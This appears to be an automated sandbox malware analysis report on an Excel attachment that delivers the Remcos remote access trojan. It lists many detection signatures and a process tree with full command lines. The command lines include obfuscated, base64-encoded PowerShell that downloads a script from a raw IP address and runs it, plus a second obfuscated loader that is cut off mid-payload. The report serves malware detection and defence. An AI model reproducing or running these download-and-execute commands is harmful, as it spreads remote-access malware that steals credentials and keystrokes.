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Windows
Analysis Report
RFQ_0230909024SEPT.xla.xlsx
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
PowerShell case anomaly found
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3236 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3504 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 3588 cmdline:
"C:\Window s\system32 \cmd.exe" "/C poWErs HelL -eX B YpaSS -nOP -W 1 -C DEVIce crEdENTiaL dePLOYmeNT .exe ; IEx ($(IeX('[S ySteM.TeXt .ENCodING] '+[cHAr]0x 3A+[ChaR]5 8+'uTF8.Ge TstRiNG([s ysTeM.cONV erT]'+[cHA r]58+[Char ]0X3a+'fRO MBAsE64Str ing('+[CHa R]34+'JDdq ODhlICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgID0gIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgQU RELXRZUEUg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LU1FTUJlcm RlRkluSVRp T24gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgJ1tEbG xJbXBvcnQo IlVybG1vbi 5EbGwiLCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBD aGFyU2V0ID 0gQ2hhclNl dC5Vbmljb2 RlKV1wdWJs aWMgc3RhdG ljIGV4dGVy biBJbnRQdH IgVVJMRG93 bmxvYWRUb0 ZpbGUoSW50 UHRyICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIGFUWl pKeUdmQSxz dHJpbmcgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgRV pOdlJUdyxz dHJpbmcgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgbV BFUEJKUkVV Six1aW50IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIE ZGeSxJbnRQ dHIgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgYUlNZm J3bERwVik7 JyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAtTkFtZS AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AiSUVHQUlJ dERNIiAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtbk FNRVNQQWNF ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IFlTUWQgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLV Bhc3NUaHJ1 OyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAkN2o4OG U6OlVSTERv d25sb2FkVG 9GaWxlKDAs Imh0dHA6Ly 8xODUuMjM1 LjEzNy4yMj MvMjAwL3Bp Y3R1cmV1cG RhdGVkd2l0 aG5ld3F1YW xpdHkudElG IiwiJEVudj pBUFBEQVRB XHBpY3R1cm V1cGRhdGVk d2l0aG5ld3 F1YWxpdC52 YlMiLDAsMC k7c3RBcnQt U0xFRVAoMy k7c1RBUlQg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IiRFTlY6QV BQREFUQVxw aWN0dXJldX BkYXRlZHdp dGhuZXdxdW FsaXQudmJT Ig=='+[chA r]34+'))') ))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 3612 cmdline:
poWErsHelL -eX BYpaS S -nO P -W 1 -C DEVIcecrEd ENTiaLdePL OYmeNT.exe ; IEx($(I eX('[SySte M.TeXt.ENC odING]'+[c HAr]0x3A+[ ChaR]58+'u TF8.GeTstR iNG([sysTe M.cONVerT] '+[cHAr]58 +[Char]0X3 a+'fROMBAs E64String( '+[CHaR]34 +'JDdqODhl ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ID0gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgQURELX RZUEUgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLU1F TUJlcmRlRk luSVRpT24g ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg J1tEbGxJbX BvcnQoIlVy bG1vbi5EbG wiLCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBDaGFy U2V0ID0gQ2 hhclNldC5V bmljb2RlKV 1wdWJsaWMg c3RhdGljIG V4dGVybiBJ bnRQdHIgVV JMRG93bmxv YWRUb0ZpbG UoSW50UHRy ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IGFUWlpKeU dmQSxzdHJp bmcgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgRVpOdl JUdyxzdHJp bmcgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgbVBFUE JKUkVVSix1 aW50ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIEZGeS xJbnRQdHIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg YUlNZmJ3bE RwVik7JyAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAt TkFtZSAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAiSU VHQUlJdERN IiAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAtbkFNRV NQQWNFICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIFlT UWQgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgLVBhc3 NUaHJ1OyAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAk N2o4OGU6Ol VSTERvd25s b2FkVG9GaW xlKDAsImh0 dHA6Ly8xOD UuMjM1LjEz Ny4yMjMvMj AwL3BpY3R1 cmV1cGRhdG Vkd2l0aG5l d3F1YWxpdH kudElGIiwi JEVudjpBUF BEQVRBXHBp Y3R1cmV1cG RhdGVkd2l0 aG5ld3F1YW xpdC52YlMi LDAsMCk7c3 RBcnQtU0xF RVAoMyk7c1 RBUlQgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIiRF TlY6QVBQRE FUQVxwaWN0 dXJldXBkYX RlZHdpdGhu ZXdxdWFsaX QudmJTIg== '+[chAr]34 +'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3720 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\sepiow y3\sepiowy 3.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3728 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESE61B.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\sep iowy3\CSC8 0F6A6947D6 40689146C7 5DBBC3F89. TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3808 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\pictu reupdatedw ithnewqual it.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 3852 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' J? ? ? ? ? Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy ? ? ? ? ?G w? ? ? ? ? I? ? ? ? ? ? ? ? ? ?9 ? ? ? ? ?C ? ? ? ? ?? ? ? ? ?Jw Bo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh ? ? ? ? ?D Y? ? ? ? ? M? ? ? ? ? ? ? ? ? ?x ? ? ? ? ?D c? ? ? ? ? M? ? ? ? ? ? ? ? ? ?2 ? ? ? ? ?C 4? ? ? ? ? dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp ? ? ? ? ?H Y? ? ? ? ? ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?v? ? ? ? ?Gk? ? ? ? ?d? ? ? ? ?Bl ? ? ? ? ?G 0? ? ? ? ? cw? ? ? ? ?v? ? ? ? ?G4? ? ? ? ?ZQB3? ? ? ? ?F8? ? ? ? ?aQBt ? ? ? ? ?G E? ? ? ? ? ZwBl? ? ? ? ?F8? ? ? ? ?Mg? ? ? ? ?w? ? ? ? ?DI? ? ? ? ?N? ? ? ? ?? ? ? ? ?w? ? ? ? ?Dk? ? ? ? ?M? ? ? ? ?? ? ? ? ?1? ? ? ? ?C8? ? ? ? ?bgBl ? ? ? ? ?H c? ? ? ? ? XwBp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?Lg Bq? ? ? ? ?H? ? ? ? ?? ? ? ? ? Zw? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQ Bl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?BO? ? ? ? ?GU? ? ? ? ?dw? ? ? ? ?t? ? ? ? ?E8? ? ? ? ?YgBq ? ? ? ? ?G U? ? ? ? ? YwB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?UwB5? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?G0? ? ? ? ?Lg BO? ? ? ? ?GU? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?Fc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bg B0? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?Qg B5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?dwBl ? ? ? ? ?G I? ? ? ? ? QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Lg BE? ? ? ? ?G8? ? ? ? ?dwBu? ? ? ? ?Gw? ? ? ? ?bwBh ? ? ? ? ?G Q? ? ? ? ? R? ? ? ? ? Bh? ? ? ? ?HQ? ? ? ? ?YQ? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?Zw Bl? ? ? ? ?FU? ? ? ? ?cgBs? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQ Bh? ? ? ? ?Gc? ? ? ? ?ZQBU? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?B0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Fs? ? ? ? ?Uw B5? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?G0? ? ? ? ?LgBU? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?B0 ? ? ? ? ?C 4? ? ? ? ? RQBu? ? ? ? ?GM? ? ? ? ?bwBk? ? ? ? ?Gk? ? ? ? ?bg Bn? ? ? ? ?F0? ? ? ? ?Og? ? ? ? ?6? ? ? ? ?FU? ? ? ? ?V? ? ? ? ?BG? ? ? ? ?Dg? ? ? ? ?LgBH ? ? ? ? ?G U? ? ? ? ? d? ? ? ? ? BT? ? ? ? ?HQ? ? ? ? ?cgBp? ? ? ? ?G4? ? ? ? ?Zw? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?aQ Bt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0 ? ? ? ? ?G U? ? ? ? ? cw? ? ? ? ?p? ? ? ? ?Ds? ? ? ?